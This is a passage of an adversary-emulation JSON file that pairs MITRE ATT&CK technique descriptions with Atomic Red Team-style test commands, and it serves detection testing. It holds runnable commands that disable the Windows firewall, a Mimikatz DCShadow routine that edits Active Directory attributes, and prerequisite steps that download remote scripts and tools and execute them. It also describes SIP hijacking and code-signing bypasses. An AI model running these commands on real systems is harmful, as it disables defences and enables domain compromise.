- "name": "Allow Executable Through Firewall Located in Non-Standard Location",
- "auto_generated_guid": "6f5822d2-d38d-4f48-9bfc-916607ff6b8c",
- "description": "This test will attempt to allow an executable through the system firewall located in the Users directory",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "exe_file_path": {
- "description": "path to exe file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1562.004\\bin\\AtomicTest.exe"
- }
- },
- "executor": {
- "command": "Copy-Item #{exe_file_path} -Destination \"C:\\Users\\$env:UserName\" -Force\nnetsh advfirewall firewall add rule name=\"Atomic Test\" dir=in action=allow program=\"C:\\Users\\$env:UserName\\AtomicTest.exe\" enable=yes\n",
- "cleanup_command": "netsh advfirewall firewall delete rule name=\"Atomic Test\" | Out-Null\nRemove-Item C:\\Users\\$env:UserName\\AtomicTest.exe -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "LockBit Black - Unusual Windows firewall registry modification -cmd",
- "auto_generated_guid": "a4651931-ebbb-4cde-9363-ddf3d66214cb",
- "description": "An adversary tries to modify the windows firewall registry\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" /v EnableFirewall /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" /v EnableFirewall /t REG_DWORD /d 0 /f\n",
- "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" /v EnableFirewall /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" /v EnableFirewall /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "LockBit Black - Unusual Windows firewall registry modification -Powershell",
- "auto_generated_guid": "80b453d1-eec5-4144-bf08-613a6c3ffe12",
- "description": "An adversary tries to modify the windows firewall registry.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "New-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force\n",
- "cleanup_command": "Remove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" -Name EnableFirewall -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" -Name EnableFirewall -Force -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Blackbit - Disable Windows Firewall using netsh firewall",
- "auto_generated_guid": "91f348e6-3760-4997-a93b-2ceee7f254ee",
- "description": "An adversary tries to modify the windows firewall configuration using the deprecated netsh firewall command (command still works). \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "netsh firewall set opmode mode=disable\n",
- "cleanup_command": "netsh firewall set opmode mode=enable >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1152": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1152",
- "url": "https://attack.mitre.org/techniques/T1152"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
- "source_name": "Sofacy Komplex Trojan"
- }
- ],
- "modified": "2020-03-10T18:31:00.336Z",
- "name": "Launchctl",
- "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"
. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Process whitelisting",
- "Whitelisting by file name or path"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1553.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matt Graeber, @mattifestation, SpecterOps"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc",
- "created": "2020-02-05T19:34:04.910Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1553.003",
- "url": "https://attack.mitre.org/techniques/T1553/003"
- },
- {
- "source_name": "Entrust Enable CAPI2 Aug 2017",
- "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165",
- "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018."
- },
- {
- "source_name": "GitHub SIP POC Sept 2017",
- "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage",
- "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018."
- },
- {
- "source_name": "SpectorOps Subverting Trust Sept 2017",
- "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf",
- "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018."
- },
- {
- "source_name": "Microsoft Catalog Files and Signatures April 2017",
- "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files",
- "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018."
- },
- {
- "source_name": "Microsoft Audit Registry July 2012",
- "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)",
- "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018."
- },
- {
- "source_name": "Microsoft Registry Auditing Aug 2016",
- "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)",
- "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018."
- },
- {
- "source_name": "Microsoft Authenticode",
- "url": "https://msdn.microsoft.com/library/ms537359.aspx",
- "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018."
- },
- {
- "source_name": "Microsoft WinVerifyTrust",
- "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx",
- "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018."
- },
- {
- "source_name": "EduardosBlog SIPs July 2008",
- "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/",
- "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll
and FuncName
Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}
that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll
and FuncName
Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}
that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL
and Function
Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}
that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",
- "modified": "2022-05-05T04:58:58.214Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "SIP and Trust Provider Hijacking",
- "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Module: Module Load",
- "File: File Modification",
- "Windows Registry: Windows Registry Key Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Autoruns Analysis",
- "Digital Certificate Validation",
- "User Mode Signature Validation",
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1207": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vincent Le Toux"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1207",
- "url": "https://attack.mitre.org/techniques/T1207"
- },
- {
- "url": "https://www.dcshadow.com/",
- "description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.",
- "source_name": "DCShadow Blog"
- },
- {
- "url": "https://adsecurity.org/?page_id=1821",
- "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
- "source_name": "Adsecurity Mimikatz Guide"
- },
- {
- "url": "https://github.com/shellster/DCSYNCMonitor",
- "description": "Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.",
- "source_name": "GitHub DCSYNCMonitor"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/ms677626.aspx",
- "description": "Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.",
- "source_name": "Microsoft DirSync"
- },
- {
- "url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html",
- "description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.",
- "source_name": "ADDSecurity DCShadow Feb 2018"
- }
- ],
- "modified": "2022-03-08T21:20:04.850Z",
- "name": "Rogue Domain Controller",
- "description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \u201cGC/\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\u20134B06\u201311D1-AB04\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.",
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Active Directory: Active Directory Object Creation",
- "Active Directory: Active Directory Object Modification",
- "User Account: User Account Authentication"
- ],
- "x_mitre_defense_bypassed": [
- "Log analysis"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1207"
- },
- "atomic_tests": [
- {
- "name": "DCShadow (Active Directory)",
- "auto_generated_guid": "0f4c5eb0-98a0-4496-9c3d-656b4f2bc8f6",
- "description": "Use Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute.\n\n[DCShadow](https://www.dcshadow.com/)\n[Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)\n\nIt will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with:\nGet-ADObject -LDAPFilter '(samaccountname=)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount\n\nNeed SYSTEM privileges locally (automatically obtained via PsExec, so running as admin is sufficient), and Domain Admin remotely.\nThe easiest is to run elevated and as a Domain Admin user.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "object": {
- "description": "Targeted object (for machine account do not forget to add final '$')",
- "type": "string",
- "default": "bruce.wayne"
- },
- "attribute": {
- "description": "Object attribute to edit, interesting ones: badpwdcount, primaryGroupId, SIDHistory...",
- "type": "string",
- "default": "badpwdcount"
- },
- "value": {
- "description": "Value to assign to object attribute",
- "type": "string",
- "default": "9999"
- },
- "mimikatz_path": {
- "description": "Mimikatz windows executable",
- "type": "path",
- "default": "$env:TEMP\\mimikatz\\x64\\mimikatz.exe"
- },
- "psexec_path": {
- "description": "Path to PsExec",
- "type": "path",
- "default": "C:\\PSTools\\PsExec.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n",
- "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
- },
- {
- "description": "PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})\n",
- "prereq_command": "if (Test-Path \"#{psexec_path}\") { exit 0} else { exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"#{psexec_path}\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"#{psexec_path}\" -Force\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "# starting fake DC server, as SYSTEM (required)\n$dc_output_file = \"$env:TEMP\\art-T1207-mimikatz-DC.log\"\nRemove-Item $dc_output_file -ErrorAction Ignore\n$mimikatzParam =\"`\"log $dc_output_file`\" `\"lsadump::dcshadow /object:#{object} /attribute:#{attribute} /value:#{value}`\" `\"exit`\"\"\n$dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList \"/c #{psexec_path} /accepteula -d -s #{mimikatz_path} $mimikatzParam\"\n\n# wait for fake DC server to be ready...\nStart-Sleep -Seconds 5\n\n# server ready, so trigger replication (push) and wait until it finished\n& #{mimikatz_path} \"lsadump::dcshadow /push\" \"exit\"\n\nWrite-Host \"`nWaiting for fake DC server to return\"\nWait-Process $dc\n\nWrite-Host \"`nOutput from fake DC server:\"\nGet-Content $dc_output_file\nStart-Sleep 1 # wait a little until the file is not locked anymore so we can actually delete it\nRemove-Item $dc_output_file -ErrorAction Ignore\n\nWrite-Host \"End of DCShadow\"\n",
- "cleanup_command": "Stop-Process -Name \"mimikatz\" -Force -ErrorAction Ignore\n"
- }
- }
- ]
- },
- "T1553.006": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Abel Morales, Exabeam"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
- "created": "2021-04-23T01:04:57.161Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1553.006",
- "url": "https://attack.mitre.org/techniques/T1553/006"
- },
- {
- "source_name": "Apple Disable SIP",
- "url": "https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection",
- "description": "Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021."
- },
- {
- "source_name": "F-Secure BlackEnergy 2014",
- "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
- "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016."
- },
- {
- "source_name": "FireEye HIKIT Rootkit Part 2",
- "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html",
- "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."
- },
- {
- "source_name": "Microsoft Unsigned Driver Apr 2017",
- "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test",
- "description": "Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021."
- },
- {
- "source_name": "Microsoft DSE June 2017",
- "url": "https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN",
- "description": "Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021."
- },
- {
- "source_name": "Microsoft TESTSIGNING Feb 2021",
- "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option",
- "description": "Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021."
- },
- {
- "source_name": "Unit42 AcidBox June 2020",
- "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/",
- "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."
- },
- {
- "source_name": "GitHub Turla Driver Loader",
- "url": "https://github.com/hfiref0x/TDL",
- "description": "TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON
on Windows and csrutil disable
on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions
to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)",
- "modified": "2022-05-05T05:00:03.480Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Code Signing Policy Modification",
- "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON
.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing
. Modifications to the code signing policy of a system are likely to be rare.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Windows Registry: Windows Registry Key Modification",
- "Process: Process Creation"
- ],
- "x_mitre_defense_bypassed": [
- "User Mode Signature Validation",
- "Digital Certificate Validation",
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1610": {
- "technique": {
- "x_mitre_platforms": [
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Pawan Kinger, @kingerpawan, Trend Micro",
- "Alfredo Oliveira, Trend Micro",
- "Idan Frimark, Cisco",
- "Center for Threat-Informed Defense (CTID)",
- "Magno Logan, @magnologan, Trend Micro",
- "Ariel Shuper, Cisco",
- "Vishwas Manral, McAfee",
- "Yossi Weizman, Azure Defender Research Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92",
- "type": "attack-pattern",
- "created": "2021-03-29T16:51:26.020Z",
